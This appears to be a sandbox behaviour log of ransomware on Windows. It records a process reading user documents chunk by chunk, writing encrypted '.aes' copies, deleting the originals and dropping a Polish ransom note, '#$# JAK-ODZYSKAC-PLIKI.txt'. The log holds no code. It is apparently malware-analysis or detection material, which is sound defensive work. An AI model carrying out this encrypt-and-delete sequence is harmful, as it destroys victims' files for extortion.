File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\nVO-4P-KzZ-c6DO0e\1BUS.odt, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\nVO-4P-KzZ-c6DO0e\1BUS.odt.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\nVO-4P-KzZ-c6DO0e\1BUS.odt, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\nVO-4P-KzZ-c6DO0e\1BUS.odt.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\nVO-4P-KzZ-c6DO0e\1BUS.odt, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\nVO-4P-KzZ-c6DO0e\1BUS.odt.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\nVO-4P-KzZ-c6DO0e\1BUS.odt, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\nVO-4P-KzZ-c6DO0e\1BUS.odt.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\nVO-4P-KzZ-c6DO0e\1BUS.odt, size = 4096, size_out = 2607 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\nVO-4P-KzZ-c6DO0e\1BUS.odt, size = 4096, size_out = 0 True 1
Fn
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\nVO-4P-KzZ-c6DO0e\1BUS.odt.aes, size = 2881 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\nVO-4P-KzZ-c6DO0e\1BUS.odt.aes, size = 33 True 1
Fn
Data
File Delete filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\nVO-4P-KzZ-c6DO0e\1BUS.odt True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\nVO-4P-KzZ-c6DO0e\#$# JAK-ODZYSKAC-PLIKI.txt, type = file_attributes False 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\SOFTWARE\AESxWin True 1
Fn
Registry Read Value reg_name = HKEY_CURRENT_USER\SOFTWARE\AESxWin, value_name = ComputerId, data = 0, type = REG_SZ True 1
Fn
Registry Read Value reg_name = HKEY_CURRENT_USER\SOFTWARE\AESxWin, value_name = ComputerId, data = 0b75c6dd-d172-492e-b7be-2c05de30e808, type = REG_SZ True 1
Fn
File Create filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\nVO-4P-KzZ-c6DO0e\#$# JAK-ODZYSKAC-PLIKI.txt, desired_access = GENERIC_WRITE, file_attributes = FILE_FLAG_OPEN_NO_RECALL, FILE_FLAG_SEQUENTIAL_SCAN, share_mode = FILE_SHARE_READ True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\nVO-4P-KzZ-c6DO0e\#$# JAK-ODZYSKAC-PLIKI.txt, type = file_type True 2
Fn
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\nVO-4P-KzZ-c6DO0e\#$# JAK-ODZYSKAC-PLIKI.txt, size = 2604 True 1
Fn
Data
System Sleep duration = 20 milliseconds (0.020 seconds) True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\nVO-4P-KzZ-c6DO0e\b-s_mvDIaHRjA WonYD7.csv, type = file_attributes True 1
Fn
File Create filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\nVO-4P-KzZ-c6DO0e\b-s_mvDIaHRjA WonYD7.csv, desired_access = GENERIC_READ, file_attributes = FILE_FLAG_OPEN_NO_RECALL, share_mode = FILE_SHARE_READ True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\nVO-4P-KzZ-c6DO0e\b-s_mvDIaHRjA WonYD7.csv, type = file_type True 2
Fn
File Create filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\nVO-4P-KzZ-c6DO0e\b-s_mvDIaHRjA WonYD7.csv.aes, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_FLAG_OPEN_NO_RECALL True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\nVO-4P-KzZ-c6DO0e\b-s_mvDIaHRjA WonYD7.csv.aes, type = file_type True 2
Fn
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\nVO-4P-KzZ-c6DO0e\b-s_mvDIaHRjA WonYD7.csv, size = 4096, size_out = 4096 True 2
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\nVO-4P-KzZ-c6DO0e\b-s_mvDIaHRjA WonYD7.csv.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\nVO-4P-KzZ-c6DO0e\b-s_mvDIaHRjA WonYD7.csv, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\nVO-4P-KzZ-c6DO0e\b-s_mvDIaHRjA WonYD7.csv.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\nVO-4P-KzZ-c6DO0e\b-s_mvDIaHRjA WonYD7.csv, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\nVO-4P-KzZ-c6DO0e\b-s_mvDIaHRjA WonYD7.csv.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\nVO-4P-KzZ-c6DO0e\b-s_mvDIaHRjA WonYD7.csv, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\nVO-4P-KzZ-c6DO0e\b-s_mvDIaHRjA WonYD7.csv.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\nVO-4P-KzZ-c6DO0e\b-s_mvDIaHRjA WonYD7.csv, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\nVO-4P-KzZ-c6DO0e\b-s_mvDIaHRjA WonYD7.csv.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\nVO-4P-KzZ-c6DO0e\b-s_mvDIaHRjA WonYD7.csv, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\nVO-4P-KzZ-c6DO0e\b-s_mvDIaHRjA WonYD7.csv.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\nVO-4P-KzZ-c6DO0e\b-s_mvDIaHRjA WonYD7.csv, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\nVO-4P-KzZ-c6DO0e\b-s_mvDIaHRjA WonYD7.csv.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\nVO-4P-KzZ-c6DO0e\b-s_mvDIaHRjA WonYD7.csv, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\nVO-4P-KzZ-c6DO0e\b-s_mvDIaHRjA WonYD7.csv.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\nVO-4P-KzZ-c6DO0e\b-s_mvDIaHRjA WonYD7.csv, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\nVO-4P-KzZ-c6DO0e\b-s_mvDIaHRjA WonYD7.csv.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\nVO-4P-KzZ-c6DO0e\b-s_mvDIaHRjA WonYD7.csv, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\nVO-4P-KzZ-c6DO0e\b-s_mvDIaHRjA WonYD7.csv.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\nVO-4P-KzZ-c6DO0e\b-s_mvDIaHRjA WonYD7.csv, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\nVO-4P-KzZ-c6DO0e\b-s_mvDIaHRjA WonYD7.csv.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\nVO-4P-KzZ-c6DO0e\b-s_mvDIaHRjA WonYD7.csv, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\nVO-4P-KzZ-c6DO0e\b-s_mvDIaHRjA WonYD7.csv.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\nVO-4P-KzZ-c6DO0e\b-s_mvDIaHRjA WonYD7.csv, size = 4096, size_out = 2223 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\nVO-4P-KzZ-c6DO0e\b-s_mvDIaHRjA WonYD7.csv, size = 4096, size_out = 0 True 1
Fn
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\nVO-4P-KzZ-c6DO0e\b-s_mvDIaHRjA WonYD7.csv.aes, size = 2497 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\nVO-4P-KzZ-c6DO0e\b-s_mvDIaHRjA WonYD7.csv.aes, size = 33 True 1
Fn
Data
File Delete filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\nVO-4P-KzZ-c6DO0e\b-s_mvDIaHRjA WonYD7.csv True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\nVO-4P-KzZ-c6DO0e\#$# JAK-ODZYSKAC-PLIKI.txt, type = file_attributes True 1
Fn
System Sleep duration = 20 milliseconds (0.020 seconds) True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\3fRpiUpvJo9PXh.doc, type = file_attributes True 1
Fn
File Create filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\3fRpiUpvJo9PXh.doc, desired_access = GENERIC_READ, file_attributes = FILE_FLAG_OPEN_NO_RECALL, share_mode = FILE_SHARE_READ True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\3fRpiUpvJo9PXh.doc, type = file_type True 2
Fn
File Create filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\3fRpiUpvJo9PXh.doc.aes, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_FLAG_OPEN_NO_RECALL True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\3fRpiUpvJo9PXh.doc.aes, type = file_type True 2
Fn
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\3fRpiUpvJo9PXh.doc, size = 4096, size_out = 4096 True 2
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\3fRpiUpvJo9PXh.doc.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\3fRpiUpvJo9PXh.doc, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\3fRpiUpvJo9PXh.doc.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\3fRpiUpvJo9PXh.doc, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\3fRpiUpvJo9PXh.doc.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\3fRpiUpvJo9PXh.doc, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\3fRpiUpvJo9PXh.doc.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\3fRpiUpvJo9PXh.doc, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\3fRpiUpvJo9PXh.doc.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\3fRpiUpvJo9PXh.doc, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\3fRpiUpvJo9PXh.doc.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\3fRpiUpvJo9PXh.doc, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\3fRpiUpvJo9PXh.doc.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\3fRpiUpvJo9PXh.doc, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\3fRpiUpvJo9PXh.doc.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\3fRpiUpvJo9PXh.doc, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\3fRpiUpvJo9PXh.doc.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\3fRpiUpvJo9PXh.doc, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\3fRpiUpvJo9PXh.doc.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\3fRpiUpvJo9PXh.doc, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\3fRpiUpvJo9PXh.doc.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\3fRpiUpvJo9PXh.doc, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\3fRpiUpvJo9PXh.doc.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\3fRpiUpvJo9PXh.doc, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\3fRpiUpvJo9PXh.doc.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\3fRpiUpvJo9PXh.doc, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\3fRpiUpvJo9PXh.doc.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\3fRpiUpvJo9PXh.doc, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\3fRpiUpvJo9PXh.doc.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\3fRpiUpvJo9PXh.doc, size = 4096, size_out = 4075 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\3fRpiUpvJo9PXh.doc.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\3fRpiUpvJo9PXh.doc, size = 4096, size_out = 0 True 1
Fn
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\3fRpiUpvJo9PXh.doc.aes, size = 257 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\3fRpiUpvJo9PXh.doc.aes, size = 33 True 1
Fn
Data
File Delete filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\3fRpiUpvJo9PXh.doc True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\#$# JAK-ODZYSKAC-PLIKI.txt, type = file_attributes False 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\SOFTWARE\AESxWin True 1
Fn
Registry Read Value reg_name = HKEY_CURRENT_USER\SOFTWARE\AESxWin, value_name = ComputerId, data = 0, type = REG_SZ True 1
Fn
Registry Read Value reg_name = HKEY_CURRENT_USER\SOFTWARE\AESxWin, value_name = ComputerId, data = 0b75c6dd-d172-492e-b7be-2c05de30e808, type = REG_SZ True 1
Fn
File Create filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\#$# JAK-ODZYSKAC-PLIKI.txt, desired_access = GENERIC_WRITE, file_attributes = FILE_FLAG_OPEN_NO_RECALL, FILE_FLAG_SEQUENTIAL_SCAN, share_mode = FILE_SHARE_READ True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\#$# JAK-ODZYSKAC-PLIKI.txt, type = file_type True 2
Fn
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\#$# JAK-ODZYSKAC-PLIKI.txt, size = 2604 True 1
Fn
Data
System Sleep duration = 20 milliseconds (0.020 seconds) True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\7wlDZE9WQQHKod.odp, type = file_attributes True 1
Fn
File Create filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\7wlDZE9WQQHKod.odp, desired_access = GENERIC_READ, file_attributes = FILE_FLAG_OPEN_NO_RECALL, share_mode = FILE_SHARE_READ True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\7wlDZE9WQQHKod.odp, type = file_type True 2
Fn
File Create filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\7wlDZE9WQQHKod.odp.aes, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_FLAG_OPEN_NO_RECALL True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\7wlDZE9WQQHKod.odp.aes, type = file_type True 2
Fn
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\7wlDZE9WQQHKod.odp, size = 4096, size_out = 4096 True 2
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\7wlDZE9WQQHKod.odp.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\7wlDZE9WQQHKod.odp, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\7wlDZE9WQQHKod.odp.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\7wlDZE9WQQHKod.odp, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\7wlDZE9WQQHKod.odp.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\7wlDZE9WQQHKod.odp, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\7wlDZE9WQQHKod.odp.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\7wlDZE9WQQHKod.odp, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\7wlDZE9WQQHKod.odp.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\7wlDZE9WQQHKod.odp, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\7wlDZE9WQQHKod.odp.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\7wlDZE9WQQHKod.odp, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\7wlDZE9WQQHKod.odp.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\7wlDZE9WQQHKod.odp, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\7wlDZE9WQQHKod.odp.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\7wlDZE9WQQHKod.odp, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\7wlDZE9WQQHKod.odp.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\7wlDZE9WQQHKod.odp, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\7wlDZE9WQQHKod.odp.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\7wlDZE9WQQHKod.odp, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\7wlDZE9WQQHKod.odp.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\7wlDZE9WQQHKod.odp, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\7wlDZE9WQQHKod.odp.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\7wlDZE9WQQHKod.odp, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\7wlDZE9WQQHKod.odp.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\7wlDZE9WQQHKod.odp, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\7wlDZE9WQQHKod.odp.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\7wlDZE9WQQHKod.odp, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\7wlDZE9WQQHKod.odp.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\7wlDZE9WQQHKod.odp, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\7wlDZE9WQQHKod.odp.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\7wlDZE9WQQHKod.odp, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\7wlDZE9WQQHKod.odp.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\7wlDZE9WQQHKod.odp, size = 4096, size_out = 1219 True 1
Fn
Data
